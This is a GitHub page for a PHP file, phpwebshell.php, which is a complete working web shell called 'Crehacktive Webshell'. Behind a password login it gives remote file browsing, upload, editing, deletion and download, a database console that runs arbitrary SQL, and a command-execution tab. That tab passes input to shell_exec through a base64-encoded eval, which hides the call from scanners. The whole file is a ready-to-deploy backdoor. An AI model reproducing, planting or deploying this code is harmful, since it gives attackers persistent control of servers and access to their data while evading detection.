-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathphpwebshell.php
475 lines (446 loc) · 22.9 KB
/
phpwebshell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
<?
session_start();
header("Content-Type: text/html; charset=UTF-8");
$mode = $_REQUEST["mode"];
$path = $_REQUEST["path"];
$page = basename($_SERVER['PHP_SELF']);
$fileName = $_GET["fileName"];
$dbHost = $_POST['dbHost'];
$dbId= $_POST['dbId'];
$dbPw = $_POST['dbPw'];
$dbName = $_POST['dbName'];
$query = $_POST['query'];
$inputPw = $_POST['inputPw'];
$accessPw = '19fbb8b248a686317a5da1d0619df988'; #webshell password
$accessFlag = $_SESSION['accessFlag']; #플래그 값을 통해 로그인 유무 판단
if(empty($path)){
$tempFileName = basename(__FILE__);
$tempPath = realpath(__FILE__);
$path = str_replace($tempFileName, "",$tempPath);
$path = str_replace("\\","/",$path);
} else {
$path = realpath($path)."/";
$path = str_replace("\\","/",$path);
}
if($accessFlag=='Y'){
#mode logic
if($mode == 'fileCreate'){
if(empty($fileName)){
echo "<script>alert('input filename');history.back(-1);</script>";
exit();
}
$fp = fopen($path.$fileName,'w');
fclose($fp);
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
}else if($mode == 'dirCreate'){
if(empty($fileName)){
echo "<script>alert('input dirname');history.back(-1);</script>";
exit();
}
$dirPath = $path.$fileName;
if(is_dir($dirPath)){
echo "<script>alert('exist');history.back(-1);</script>";
exit();
}
mkdir($dirPath);
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
}else if($mode == 'fileModify' && !empty($_POST['fileContents'])){
$filePath = $path.$fileName;
if(!file_exists($filePath)){
echo "<script>alert('file not found');history.back(-1);</script>";
exit();
}
$fileContents = $_POST['fileContents'];
$fp = fopen($filePath,'w');
fputs($fp, $fileContents,strlen($fileContents));
fclose($fp);
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
}else if($mode == 'fileDelete'){
if(empty($fileName)){
echo "<script>alert('input filename');history.back(-1);</script>";
exit();
}
$filePath = $path.$fileName;
if(!file_exists($filePath)){
echo "<script>alert('file not found');history.back(-1);</script>";
exit();
}
if(!unlink($filePath)){
echo "<script>alert('file delete fail');history.back(-1);</script>";
exit();
}
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
}else if($mode == 'dirDelete'){
if(empty($fileName)){
echo "<script>alert('input dirname');history.back(-1);</script>";
exit();
}
$dirPath = $path.$fileName;
if(!file_exists($dirPath)){
echo "<script>alert('dir not found');history.back(-1);</script>";
exit();
}
if(!rmdir($dirPath)){
echo "<script>alert('dir delete fail');history.back(-1);</script>";
exit();
}
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
}else if($mode == 'fileDownload'){
if(empty($fileName)){
echo "<script>alert('input dirname');history.back(-1);</script>";
exit();
}
$filePath = $path.$fileName;
if(!file_exists($filePath)){
echo "<script>alert('file not found');history.back(-1);</script>";
exit();
}
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=\"{$fileName}\"");
header("Content-Transfer-Encoding: binary");
readfile($filePath);
exit();
}else if($mode == 'fileUpload' && !empty($_FILES['file']['tmp_name'])){
$filePath = $path.$_FILES['file']['name'];
if(!move_uploaded_file($_FILES['file']['tmp_name'],$filePath)){
echo "<script>alert('file upload fail');history.back(-1);</script>";
exit();
}
echo "<script>location.href='{$page}?mode=fileBrowser&path={$path}'</script>";
}else if($mode == 'logout'){
unset($_SESSION['accessFlag']);
session_destroy();
echo "<script>location.href='{$page}'</script>";
exit();
}
}else{
if($mode=='login' && ($accessPw == md5($inputPw))){
$_SESSION['accessFlag'] = 'Y';
echo "<script>location.href='{$page}'</script>";
exit();
}
}
#directory list return function
function getDirList($getPath) {
$listArr = array();
$handler = opendir($getPath);
while($file = readdir($handler)){
if(is_dir($getPath.$file) == '1'){
$listArr[] = $file;
}
}
closedir($handler);
return $listArr;
}
#file list return function
function getFileList($getPath) {
$listArr = array();
$handler = opendir($getPath);
while($file = readdir($handler)){
if(is_dir($getPath.$file) != '1'){
$listArr[] = $file;
}
}
closedir($handler);
return $listArr;
}
?>
<!DOCTYPE html>
<html lang="ko">
<head>
<title>Crehacktive Webshell</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css">
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script>
<script>
function fileCreate(){
var fileName = frm.createFileName.value;
if (!fileName){
alert("input filename");
return;
}
location.href='<?=$page?>?mode=fileCreate&path=<?=$path?>&fileName='+fileName;
}
function dirCreate(){
var fileName = frm.createFileName.value;
if (!fileName){
alert("input dirname");
return;
}
location.href='<?=$page?>?mode=dirCreate&path=<?=$path?>&fileName='+fileName;
}
function fileModify(fileName){
location.href='<?=$page?>?mode=fileModify&path=<?=$path?>&fileName='+fileName;
}
function dirDelete(fileName){
if(confirm(fileName + 'dir delete?')==true){
location.href='<?=$page?>?mode=dirDelete&path=<?=$path?>&fileName='+fileName;
}
}
function fileDelete(fileName){
if(confirm(fileName + 'file delete?')==true){
location.href='<?=$page?>?mode=fileDelete&path=<?=$path?>&fileName='+fileName;
}
}
function fileDownload(fileName){
if(confirm(fileName + 'file download?')==true){
location.href='<?=$page?>?mode=fileDownload&path=<?=$path?>&fileName='+fileName;
}
}
</script>
</head>
<body>
<div class="container-fluid">
<div class="row">
<div class="col-md-3"></div>
<div class="col-md-6">
<? if(($accessFlag) != 'Y') {?>
<h3>login</h3>
<hr>
<form action="<?=$page?>?mode=login" method="POST">
<div class="input-group">
<span class="input-group-addon">Password</span>
<input type="password" class="form-control" placeholder="Password Input..." name="inputPw">
</div>
<br>
<p class='text-center'><button class='btn btn-default' type='submit'>Auth</button></a>
</form>
<? } else { ?>
<h3>Webshell <small>Crehacktive webshell</small></h3>
<hr>
<ul class="nav nav-tabs">
<li role="presentation" <? if(empty($mode) || $mode == 'fileBrowser') echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li>
<li role="presentation" <? if($mode == 'fileUpload') echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileUpload&path=<?=$path?>">File Upload</a></li>
<li role="presentation" <? if($mode == 'command') echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li>
<li role="presentation" <? if($mode == 'db') echo "class=\"active\"";?>><a href="<?=$page?>?mode=db">DB connector</a></li>
<li role="presentation"><a href="<?=$page?>?mode=logout">Logout</a></li>
</ul>
<br>
<? if(empty($mode) || $mode == 'fileBrowser') { ?>
<form action="<?=$page?>?mode=fileBrowser" method="GET">
<div class="input-group">
<span class="input-group-addon">Currnet Path</span>
<input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>">
<span class="input-group-btn">
<button class="btn btn-default" type="submit">Move</button>
</span>
</div>
</form>
<hr>
<div class="table-resopnsive">
<table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;">
<thead>
<tr class="active">
<th style="width:50%" class="text-center">Name</th>
<th style="width:14%" class="text-center">Type</th>
<th style="width:18%" class="text-center">Date</th>
<th style="width:18%" class="text-center">Action</th>
</tr>
</thead>
<tbody>
<?
$dirList = getDirList($path);
for($i=0; $i<count($dirList); $i++) {
if($dirList[$i] != '.'){
$dirDate = date("Y-m-d H:i",filemtime($path.$dirList[$i]));
?>
<tr>
<td style="vertical-align: middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open"></span> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></b></td>
<td style="vertical-align: middle" class="text-center"><kbd>Directory</kbd></td>
<td style="vertical-align: middle" class="text-center"><?=$dirDate?></td>
<td style="vertical-align: middle" class="text-center">
<? if($dirList[$i] != '..') { ?>
<div class="btn-group btn-group-sm" role="group" aria-label="...">
<button type="button" class="btn btn-danger" title="Directory Delete" onclick="dirDelete('<?=$dirList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true" ></button>
</div>
<? } ?>
</td>
</tr>
<?
}
}
?>
<?
$fileList = getFileList($path);
for($i=0; $i<count($fileList); $i++) {
$fileDate = date("Y-m-d H:i",filemtime($path.$fileList[$i]));
?>
<tr>
<td style="vertical-align: middle"><span class="glyphicon glyphicon-file"></span> <?=$fileList[$i]?></td>
<td style="vertical-align: middle" class="text-center"><kbd>File</kbd></td>
<td style="vertical-align: middle" class="text-center"><?=$fileDate?></td>
<td style="vertical-align: middle" class="text-center">
<div class="btn-group btn-group-sm" role="group" aria-label="...">
<button type="button" class="btn btn-info" title="File Download" onclick="fileDownload('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-save" aria-hidden="true"></button>
<button type="button" class="btn btn-warning" title="File Modify" onclick="fileModify('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-wrench" aria-hidden="true"></button>
<button type="button" class="btn btn-danger" title="File Delete" onclick="fileDelete('<?=$fileList[$i]?>')"><span class="glyphicon glyphicon-trash" aria-hidden="true" ></button>
</div>
</td>
</tr>
<? } ?>
</tbody>
</table>
</div>
<hr>
<form name="frm">
<div class="input-group">
<input type="text" class="form-control" placeholder="File/Directory name input.." name="createFileName">
<span class="input-group-btn">
<button class="btn btn-default" type="button" onclick="fileCreate()">File Create</button>
<button class="btn btn-default" type="button" onclick="dirCreate()">Directory Create</button>
</span>
</div>
</form>
<? } else if($mode == 'fileModify') {?>
<?
if(empty($fileName)){
echo "<script>alert('file not found);history.back(-1);</script>";
exit();
}
$filePath = $path.$fileName;
if(!file_exists($filePath)){
echo "<script>alert('file not found);history.back(-1);</script>";
exit();
}
$fp = fopen($filePath,'r');
$fileContents = fread($fp,filesize($filePath));
fclose($fp);
?>
<form action="<?=$page?>?mode=fileModify&path=<?=$path?>&fileName=<?=$fileName?>" method="POST">
<div class="input-group">
<input type="text" class="form-control" value="<?=$path?><?=$fileName?>">
<span class="input-group-btn">
<button class="btn btn-default" type="submit">fileModify</button>
</span>
</div>
<hr>
<textarea class="form-control" rows='20' name='fileContents'><?=htmlspecialchars($fileContents)?></textarea>
</form>
<br>
<p class="text-center" ><button class="btn btn-default" type="button" onclick="history.back(-1)">back</button></p>
<? } else if($mode == 'fileUpload') {?>
<form action="<?=$page?>?mode=fileUpload" method="POST" enctype="multipart/form-data">
<div class="input-group">
<span class="input-group-addon">Upload Path</span>
<input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>">
<span class="input-group-btn">
</span>
</div>
<hr>
<div class="form-group">
<label for="exampleInputFile">file upload</label>
<input type="file" id='exampleInputFile' name='file'>
<p class='help-block'>check upload path</p>
<p class='text-center'><button class='btn btn-default' type='submit'>File Upload</button></a>
</div>
</form>
<? } else if($mode == 'command') {?>
<form action="<?=$page?>?mode=command" method="POST">
<div class="input-group">
<span class="input-group-addon">command</span>
<input type="text" class="form-control" placeholder="command Input..." name="command">
<span class="input-group-btn">
</span>
</div>
<br>
<p class='text-center'><button class='btn btn-default' type='submit'>execution</button></a>
</form>
<?
if(!empty($_POST['command'])){
echo "<hr>";
#$result = shell_exec($_POST["command"]);
eval(base64_decode("JHJlc3VsdCA9IHNoZWxsX2V4ZWMoJF9QT1NUWyJjb21tYW5kIl0pOw=="));
$result = str_replace("\n","<br>",$result);
$result = iconv('CP949','UTF-8',$result);
echo $result;
}
?>
<? } else if($mode == 'db') {?>
<?
if(empty($dbHost) || empty($dbId) || empty($dbPw) || empty($dbName)){
?>
<form action="<?=$page?>?mode=db" method="POST">
<div class="input-group">
<span class="input-group-addon">HOST</span>
<input type="text" class="form-control" placeholder="Host Input..." name="dbHost">
<span class="input-group-addon">ID</span>
<input type="text" class="form-control" placeholder="ID Input..." name="dbId">
<span class="input-group-addon">PW</span>
<input type="text" class="form-control" placeholder="PW Input..." name="dbPw">
<span class="input-group-addon">DB</span>
<input type="text" class="form-control" placeholder="DB Input..." name="dbName">
</div>
<br>
<p class='text-center'><button class='btn btn-default' type='submit'>connection</button></a>
</form>
<? } else {
$dbConn = new mysqli($dbHost, $dbId, $dbPw, $dbName);
if($dbConn -> connect_errno){
echo "<script>alert('connect fail');history.back(-1);</script>";
exit();
}
?>
<form action="<?=$page?>?mode=db" method="POST">
<div class="input-group">
<span class="input-group-addon">SQL</span>
<input type="text" class="form-control" placeholder="query Input..." name="query" value='<?=$query?>'>
</div>
<br>
<p class='text-center'><button class='btn btn-default' type='submit'>execution</button></a>
<input type="hidden" name="dbHost" value="<?=$dbHost?>">
<input type="hidden" name="dbId" value="<?=$dbId?>">
<input type="hidden" name="dbPw" value="<?=$dbPw?>">
<input type="hidden" name="dbName" value="<?=$dbName?>">
</form>
<?
if(!empty($query)){
$result = $dbConn->query($query);
$rowCnt = $result->num_rows;
?>
<table class="table table-bordered table-hover">
<?
for($i=0; $i<$rowCnt; $i++){
$row = $result->fetch_assoc();
if($i==0){
$radio = 100/count($row);
#print columns
?>
<thead>
<tr class='active'>
<?
foreach($row as $key => $value){
?>
<th style="width:<?=$radio?>%" class="text-center"><?=$key?></th>
<?
}
?>
</tr>
</thead>
<tbody>
<?
}
echo "<tr>";
foreach($row as $key => $value){
?>
<td style="vertical-align: middle" class="text-center"><?=$value?></td>
<?
}
echo "</tr>";
}
?>
</tbody>
</table>
<?
}
?>
<? } ?>
<? } ?>
<? } ?>
<hr>
<p class="text-muted text-center">Copyright ~~~, all rights reserved</p>
</div>
<div class="col-md-3"></div>
</div>
</div>
</body>
</html>